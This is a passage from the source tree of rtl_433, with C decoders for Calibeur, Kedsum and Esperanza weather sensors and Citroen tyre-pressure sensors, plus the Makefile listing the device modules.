DATA_FORMAT, "%.1f C", DATA_DOUBLE, temperature, 87 | "humidity", "Humidity", DATA_FORMAT, "%2.0f %%", DATA_DOUBLE, humidity, 88 | "mic", "Integrity", DATA_STRING, "CRC", 89 | NULL); 90 | data_acquired_handler(data); 91 | return 1; 92 | } 93 | return 0; 94 | } 95 | 96 | static char *output_fields[] = { 97 | "time", 98 | "model", 99 | "id", 100 | "temperature_C", 101 | "humidity", 102 | "mic", 103 | NULL 104 | }; 105 | 106 | r_device calibeur_RF104 = { 107 | .name = "Calibeur RF-104 Sensor", 108 | .modulation = OOK_PULSE_PWM_TERNARY, 109 | .short_limit = 1160, // Short pulse 760µs, Startbit 1560µs, Long pulse 2240µs 110 | .long_limit = 1900, // Maximum pulse period (long pulse + fixed gap) 111 | .reset_limit = 3200, // Longest gap (2960-760µs) 112 | .json_callback = &calibeur_rf104_callback, 113 | .disabled = 0, 114 | .demod_arg = 1 // Startbit is middle bit 115 | }; 116 | -------------------------------------------------------------------------------- /rtl_433/src/devices/kedsum.c: -------------------------------------------------------------------------------- 1 | /* Kedsum temperature and humidity sensor (http://amzn.to/25IXeng) 2 | My models transmit at a bit lower freq. Around ~433.71 Mhz 3 | 4 | Copyright (C) 2016 John Lifsey 5 | This program is free software; you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License version 3 as 7 | published by the Free Software Foundation. 8 | 9 | Largely based on prologue, esperanza_ews, s3318p 10 | Frame appears to be a differently-endianed version of the esperanza 11 | 12 | Frame structure: 13 | IIIIIIII????CC++++ttttTTTThhhhHHHH?????? PP 14 | 15 | IIIIIIII unique id. changes on powercycle 16 | CC channel, 00 = ch1, 10=ch3 17 | ++++ low temp nibble 18 | tttt med temp nibble 19 | TTTT high temp nibble 20 | hhhh humidity low nibble 21 | HHHH humidity high nibble 22 | */ 23 | #include "rtl_433.h" 24 | #include "data.h" 25 | #include "util.h" 26 | 27 | static int kedsum_callback(bitbuffer_t *bitbuffer) { 28 | bitrow_t *bb = bitbuffer->bb; 29 | data_t *data; 30 | char time_str[LOCAL_TIME_BUFLEN]; 31 | 32 | // the signal should start with 15 sync pulses (empty rows) 33 | // require at least 5 received syncs 34 | if (bitbuffer->num_rows < 5 35 | || bitbuffer->bits_per_row[0] != 0 36 | || bitbuffer->bits_per_row[1] != 0 37 | || bitbuffer->bits_per_row[2] != 0 38 | || bitbuffer->bits_per_row[3] != 0 39 | || bitbuffer->bits_per_row[4] != 0) 40 | return 0; 41 | 42 | // the signal should have 6 repeats with a sync pulse between 43 | // require at least 4 received repeats 44 | int r = bitbuffer_find_repeated_row(bitbuffer, 4, 42); 45 | if (r<0 || bitbuffer->bits_per_row[r] != 42) 46 | return 0; 47 | 48 | uint8_t *b = bb[r]; 49 | 50 | uint8_t humidity; 51 | uint8_t channel; 52 | uint16_t temperature_with_offset; 53 | float temperature_f; 54 | 55 | channel = (uint8_t)(((b[1] & 0x0C) >> 2) + 1); 56 | humidity = (uint8_t)((b[3] & 0x03) << 6) | ((b[4] & 0xC0) >> 2) | ((b[3] & 0x3C) >> 2); 57 | 58 | uint8_t tnH, tnM, tnL; 59 | tnL = ((b[1] & 0x03) << 2) | ((b[2] & 0xC0) >> 6); // Low temp nibble 60 | tnM = ((b[2] & 0x3C) >> 2); // Med temp nibble 61 | tnH = ((b[2] & 0x03) << 2) | ((b[3] & 0xC0) >> 6); // high temp nibble 62 | 63 | temperature_with_offset = (tnH<<8) | (tnM<<4) | tnL; 64 | temperature_f = (temperature_with_offset - 900) / 10.0; 65 | 66 | if (debug_output) { 67 | fprintf(stdout, "Bitstream HEX = %02x %02x %02x %02x %02x %02x\n",b[0],b[1],b[2],b[3],b[4],b[5]); 68 | fprintf(stdout, "Humidity HEX = %02x\n", b[3]); 69 | fprintf(stdout, "Humidity DEC = %u\n", humidity); 70 | fprintf(stdout, "Channel HEX = %02x\n", b[1]); 71 | fprintf(stdout, "Channel = %u\n", channel); 72 | fprintf(stdout, "temp_with_offset HEX = %02x\n", temperature_with_offset); 73 | fprintf(stdout, "temp_with_offset = %d\n", temperature_with_offset); 74 | fprintf(stdout, "TemperatureF = %.1f\n", temperature_f); 75 | } 76 | 77 | local_time_str(0, time_str); 78 | data = data_make("time", "", DATA_STRING, time_str, 79 | "model", "", DATA_STRING, "Kedsum Temperature & Humidity Sensor", 80 | "channel", "Channel", DATA_INT, channel, 81 | "temperature_F", "Temperature", DATA_FORMAT, "%.02f F", DATA_DOUBLE, temperature_f, 82 | "humidity", "Humidity", DATA_FORMAT, "%u %%", DATA_INT, humidity, 83 | NULL); 84 | 85 | data_acquired_handler(data); 86 | return 1; 87 | } 88 | 89 | static char *output_fields[] = { 90 | "time", 91 | "model", 92 | "channel", 93 | "temperature_F", 94 | "humidity", 95 | NULL 96 | }; 97 | 98 | r_device kedsum = { 99 | .name = "Kedsum Temperature & Humidity Sensor", 100 | .modulation = OOK_PULSE_PPM_RAW, 101 | .short_limit = 2800, 102 | .long_limit = 4400, 103 | .reset_limit = 9000, 104 | .json_callback = &kedsum_callback, 105 | .disabled = 0, 106 | .demod_arg = 0, 107 | .fields = output_fields 108 | }; 109 | -------------------------------------------------------------------------------- /rtl_433/src/Makefile.am: -------------------------------------------------------------------------------- 1 | INCLUDES = $(all_includes) -I$(top_srcdir)/include 2 | AM_CFLAGS = ${CFLAGS} -fPIC ${SYMBOL_VISIBILITY} 3 | 4 | bin_PROGRAMS = rtl_433 5 | 6 | rtl_433_SOURCES = baseband.c \ 7 | bitbuffer.c \ 8 | data.c \ 9 | pulse_demod.c \ 10 | pulse_detect.c \ 11 | rtl_433.c \ 12 | util.c \ 13 | devices/acurite.c \ 14 | devices/alecto.c \ 15 | devices/ambient_weather.c \ 16 | devices/blyss.c \ 17 | devices/brennenstuhl_rcs_2044.c \ 18 | devices/calibeur.c \ 19 | devices/cardin.c \ 20 | devices/current_cost.c \ 21 | devices/chuango.c \ 22 | devices/danfoss.c \ 23 | devices/dsc.c \ 24 | devices/ec3k.c \ 25 | devices/efergy_e2_classic.c \ 26 | devices/efergy_optical.c \ 27 | devices/elro_db286a.c \ 28 | devices/elv.c \ 29 | devices/emontx.c \ 30 | devices/esperanza_ews.c \ 31 | devices/fineoffset.c \ 32 | devices/fineoffset_wh1080.c \ 33 | devices/generic_remote.c \ 34 | devices/generic_temperature_sensor.c \ 35 | devices/gt_wt_02.c \ 36 | devices/hideki.c \ 37 | devices/hondaremote.c \ 38 | devices/ht680.c \ 39 | devices/inovalley-kw9015b.c \ 40 | devices/intertechno.c \ 41 | devices/kedsum.c \ 42 | devices/lacrosse.c \ 43 | devices/lacrosse_TX141TH_Bv2.c \ 44 | devices/lacrossews.c \ 45 | devices/lacrosse_tx35.c \ 46 | devices/lightwave_rf.c \ 47 | devices/mebus.c \ 48 | devices/newkaku.c \ 49 | devices/nexus.c \ 50 | devices/oil_watchman.c \ 51 | devices/oregon_scientific.c \ 52 | devices/oregon_scientific_v1.c \ 53 | devices/prologue.c \ 54 | devices/quhwa.c \ 55 | devices/rubicson.c \ 56 | devices/silvercrest.c \ 57 | devices/springfield.c \ 58 | devices/steffen.c \ 59 | devices/tfa_twin_plus_30.3049.c \ 60 | devices/tfa_pool_thermometer.c \ 61 | devices/valeo.c \ 62 | devices/waveman.c \ 63 | devices/wt450.c \ 64 | devices/x10_rf.c \ 65 | devices/s3318p.c \ 66 | devices/akhan_100F14.c \ 67 | devices/proove.c \ 68 | devices/bresser_3ch.c \ 69 | devices/oregon_scientific_sl109h.c \ 70 | devices/steelmate.c \ 71 | devices/schraeder.c \ 72 | devices/new_template.c \ 73 | devices/radiohead_ask.c \ 74 | devices/kerui.c \ 75 | devices/fineoffset_wh1050.c \ 76 | devices/honeywell.c \ 77 | devices/maverick_et73x.c \ 78 | devices/rftech.c \ 79 | devices/vaillant_vrt340f.c \ 80 | devices/wg_pb12v1.c \ 81 | devices/ibis_beacon.c \ 82 | devices/oil_standard.c \ 83 | devices/tpms_citroen.c \ 84 | devices/thermopro_tp11.c \ 85 | devices/solight_te44.c \ 86 | devices/smoke_gs558.c \ 87 | devices/generic_motion.c \ 88 | devices/tpms_toyota.c \ 89 | devices/tpms_ford.c \ 90 | devices/tpms_renault.c \ 91 | devices/infactory.c 92 | 93 | rtl_433_LDADD = $(LIBRTLSDR) $(LIBM) 94 | -------------------------------------------------------------------------------- /rtl_433/src/devices/esperanza_ews.c: -------------------------------------------------------------------------------- 1 | /* 2 | Esperanza EWS-103 sensor on 433.92Mhz 3 | 4 | Copyright (C) 2015 Alberts Saulitis 5 | This program is free software; you can redistribute it and/or modify 6 | it under the terms of the GNU General Public License version 3 as 7 | published by the Free Software Foundation. 8 | */ 9 | 10 | /* 11 | No frame description was available on the internet therefore it was required 12 | to reverse engineer it. 13 | 0 1 2 3 4 5 14 | AAAABBBB ????CCTT TTTTTTTT TTHHHHHH HH?????? ?? 15 | 16 | A - Preamble 17 | B - Rolling device ID 18 | C - Channel (1-3) 19 | T - Temperature (Little-endian) 20 | H - Humidity (Little-endian) 21 | ? - Unknown 22 | */ 23 | 24 | /* 25 | Sample Data: 26 | Esperanze EWS: TemperatureF=55.5 TemperatureC=13.1 Humidity=74 Device_id=0 Channel=1 27 | 28 | *** signal_start = 16189, signal_end = 262145 29 | signal_len = 245956, pulses = 266 30 | Iteration 1. t: 142 min: 141 (37) max: 143 (229) delta 4 31 | Iteration 2. t: 142 min: 141 (2) max: 143 (264) delta 0 32 | Distance coding: Pulse length 142 33 | 34 | Short distance: 487, long distance: 964, packet distance: 1920 35 | 36 | p_limit: 142 37 | bitbuffer:: Number of rows: 14 38 | [00] {0} : 39 | [01] {0} : 40 | [02] {42} 00 53 e5 69 02 00 : 00000000 01010011 11100101 01101001 00000010 00 41 | [03] {0} : 42 | [04] {42} 00 53 e5 69 02 00 : 00000000 01010011 11100101 01101001 00000010 00 43 | [05] {0} : 44 | [06] {42} 00 53 e5 69 02 00 : 00000000 01010011 11100101 01101001 00000010 00 45 | [07] {0} : 46 | [08] {42} 00 53 e5 69 02 00 : 00000000 01010011 11100101 01101001 00000010 00 47 | [09] {0} : 48 | [10] {42} 00 53 e5 69 02 00 : 00000000 01010011 11100101 01101001 00000010 00 49 | [11] {0} : 50 | [12] {42} 00 53 e5 69 02 00 : 00000000 01010011 11100101 01101001 00000010 00 51 | [13] {0} : 52 | Test mode file issued 4 packets 53 | */ 54 | #include "rtl_433.h" 55 | #include "data.h" 56 | #include "util.h" 57 | 58 | static int esperanza_ews_process_row(const bitbuffer_t *bitbuffer, int row) 59 | { 60 | const uint8_t *b = bitbuffer->bb[row]; 61 | uint8_t humidity; 62 | uint16_t temperature_with_offset; 63 | uint8_t device_id; 64 | uint8_t channel; 65 | float temperature_f; 66 | 67 | data_t *data; 68 | 69 | char time_str[LOCAL_TIME_BUFLEN]; 70 | 71 | local_time_str(0, time_str); 72 | 73 | humidity = (uint8_t)((b[3] << 6) | ((b[4] >> 2) & 0x0F) | ((b[3] >>2) & 0xF)); 74 | temperature_with_offset = (uint16_t)(((b[2] << 10) | ((b[3] << 2) & 0x300) | ((b[3] << 2) & 0xF0) | ((b[1] << 2) & 0x0C) | b[2] >> 6) & 0x0FFF); 75 | device_id = (uint8_t)(b[0] & 0x0F); 76 | channel = (uint8_t)((b[1] & 0x0C)+1); 77 | temperature_f = (float)((temperature_with_offset-900)/10.0); 78 | 79 | data = data_make("time", "", DATA_STRING, time_str, 80 | "model", "", DATA_STRING, "Esperanza EWS", 81 | "id", "", DATA_INT, device_id, 82 | "channel", "Channel", DATA_INT, channel, 83 | "temperature_F", "Temperature", DATA_FORMAT, "%.02f F", DATA_DOUBLE, temperature_f, 84 | "humidity", "Humidity", DATA_FORMAT, "%u %%", DATA_INT, humidity, 85 | NULL); 86 | data_acquired_handler(data); 87 | 88 | return 1; 89 | } 90 | 91 | static char *output_fields[] = { 92 | "time", 93 | "model", 94 | "id", 95 | "channel", 96 | "temperature_F", 97 | "humidity", 98 | NULL 99 | }; 100 | 101 | static int esperanza_ews_callback(bitbuffer_t *bitbuffer) 102 | { 103 | if (bitbuffer->num_rows == 14) { 104 | for (int row=2; row < bitbuffer->num_rows-3; row+=2) { 105 | if (memcmp(bitbuffer->bb[row], bitbuffer->bb[row+2], sizeof(bitbuffer->bb[row])) != 0 || bitbuffer->bits_per_row[row] != 42) return 0; 106 | } 107 | esperanza_ews_process_row(bitbuffer, 2); 108 | return 1; 109 | } 110 | return 0; 111 | } 112 | 113 | 114 | r_device esperanza_ews = { 115 | .name = "Esperanza EWS", 116 | .modulation = OOK_PULSE_PPM_RAW, 117 | .short_limit = 2800, 118 | .long_limit = 4400, 119 | .reset_limit = 9000, 120 | .json_callback = &esperanza_ews_callback, 121 | .disabled = 0, 122 | .demod_arg = 0, 123 | }; 124 | -------------------------------------------------------------------------------- /rtl_433/src/devices/tpms_citroen.c: -------------------------------------------------------------------------------- 1 | /* Citroen FSK 10 byte Manchester encoded checksummed TPMS data 2 | * also Peugeot and likely Fiat, Mitsubishi, VDO-types. 3 | * 4 | * Copyright (C) 2017 Christian W. Zuckschwerdt 5 | * 6 | * This program is free software; you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation; either version 2 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Packet nibbles: UU IIIIIIII FR PP TT BB CC 12 | * U = state, decoding unknown, not included in checksum 13 | * I = id 14 | * F = flags, (seen: 0: 69.4% 1: 0.8% 6: 0.4% 8: 1.1% b: 1.9% c: 25.8% e: 0.8%) 15 | * R = repeat counter (seen: 0,1,2,3) 16 | * P = Pressure (maybe bar in 0.0125 steps, or offset /differential) 17 | * T = Temperature (looks like deg C offset by 50) 18 | * B = Battery? 19 | * C = Checksum, XOR bytes 1 to 9 = 0 20 | */ 21 | 22 | #include "rtl_433.h" 23 | #include "util.h" 24 | 25 | // full preamble is 26 | // 0101 0101 0101 0101 0101 0101 0101 0110 = 55 55 55 56 27 | static const unsigned char preamble_pattern[2] = { 0x55, 0x56 }; 28 | // full trailer is 01111110 29 | 30 | static int tpms_citroen_decode(bitbuffer_t *bitbuffer, unsigned row, unsigned bitpos) { 31 | char time_str[LOCAL_TIME_BUFLEN]; 32 | data_t *data; 33 | unsigned int start_pos; 34 | bitbuffer_t packet_bits = {0}; 35 | uint8_t *b; 36 | int state; 37 | char state_str[3]; 38 | unsigned id; 39 | char id_str[9]; 40 | int flags; 41 | int repeat; 42 | int pressure; 43 | int temperature; 44 | int battery; 45 | char code_str[7]; 46 | int crc; 47 | 48 | bitbuffer_invert(bitbuffer); 49 | start_pos = bitbuffer_manchester_decode(bitbuffer, row, bitpos, &packet_bits, 88); 50 | b = packet_bits.bb[0]; 51 | 52 | if (b[6] == 0 || b[7] == 0) { 53 | return 0; // sanity check failed 54 | } 55 | 56 | crc = b[1]^b[2]^b[3]^b[4]^b[5]^b[6]^b[7]^b[8]^b[9]; 57 | if (crc != 0) { 58 | return 0; // bad checksum 59 | } 60 | 61 | state = b[0]; // not covered by CRC 62 | sprintf(state_str, "%02x", state); 63 | id = b[1]<<24 | b[2]<<16 | b[3]<<8 | b[4]; 64 | sprintf(id_str, "%08x", id); 65 | flags = b[5]>>4; 66 | repeat = b[5]&0x0f; 67 | pressure = b[6]; 68 | temperature = b[7]; 69 | battery = b[8]; 70 | sprintf(code_str, "%02x%02x%02x", pressure, temperature, battery); 71 | 72 | local_time_str(0, time_str); 73 | data = data_make( 74 | "time", "", DATA_STRING, time_str, 75 | "model", "", DATA_STRING, "Citroen", 76 | "type", "", DATA_STRING, "TPMS", 77 | "state", "", DATA_STRING, state_str, 78 | "id", "", DATA_STRING, id_str, 79 | "flags", "", DATA_INT, flags, 80 | "repeat", "", DATA_INT, repeat, 81 | // "pressure_bar", "Pressure", DATA_FORMAT, "%.03f bar", DATA_DOUBLE, (double)pressure*0.0125, 82 | // "temperature_C", "Temperature", DATA_FORMAT, "%.0f C", DATA_DOUBLE, (double)temperature-50.0, 83 | // "battery_mV", "Battery", DATA_INT, battery_mV, 84 | "code", "", DATA_STRING, code_str, 85 | "mic", "", DATA_STRING, "CHECKSUM", 86 | NULL); 87 | 88 | data_acquired_handler(data); 89 | return 1; 90 | } 91 | 92 | static int tpms_citroen_callback(bitbuffer_t *bitbuffer) { 93 | unsigned bitpos = 0; 94 | int events = 0; 95 | 96 | // Find a preamble with enough bits after it that it could be a complete packet 97 | while ((bitpos = bitbuffer_search(bitbuffer, 0, bitpos, (uint8_t *)&preamble_pattern, 16)) + 178 <= 98 | bitbuffer->bits_per_row[0]) { 99 | events += tpms_citroen_decode(bitbuffer, 0, bitpos + 16); 100 | bitpos += 2; 101 | } 102 | 103 | return events; 104 | } 105 | 106 | static char *output_fields[] = { 107 | "time", 108 | "model", 109 | "type", 110 | "state", 111 | "id", 112 | "flags", 113 | "repeat", 114 | // "pressure_bar", 115 | // "temperature_C", 116 | // "battery_mV", 117 | "code", 118 | "mic", 119 | NULL 120 | }; 121 | 122 | r_device tpms_citroen = { 123 | .name = "Citroen TPMS", 124 | .modulation = FSK_PULSE_PCM, 125 | .short_limit = 52, // 12-13 samples @250k 126 | .long_limit = 52, // FSK 127 | .reset_limit = 150, // Maximum gap size before End Of Message [us]. 128 | .json_callback = &tpms_citroen_callback, 129 | .disabled = 0, 130 | .demod_arg = 0, 131 | .fields = output_fields, 132 | }; 133 | --------------------------------------------------------------------------------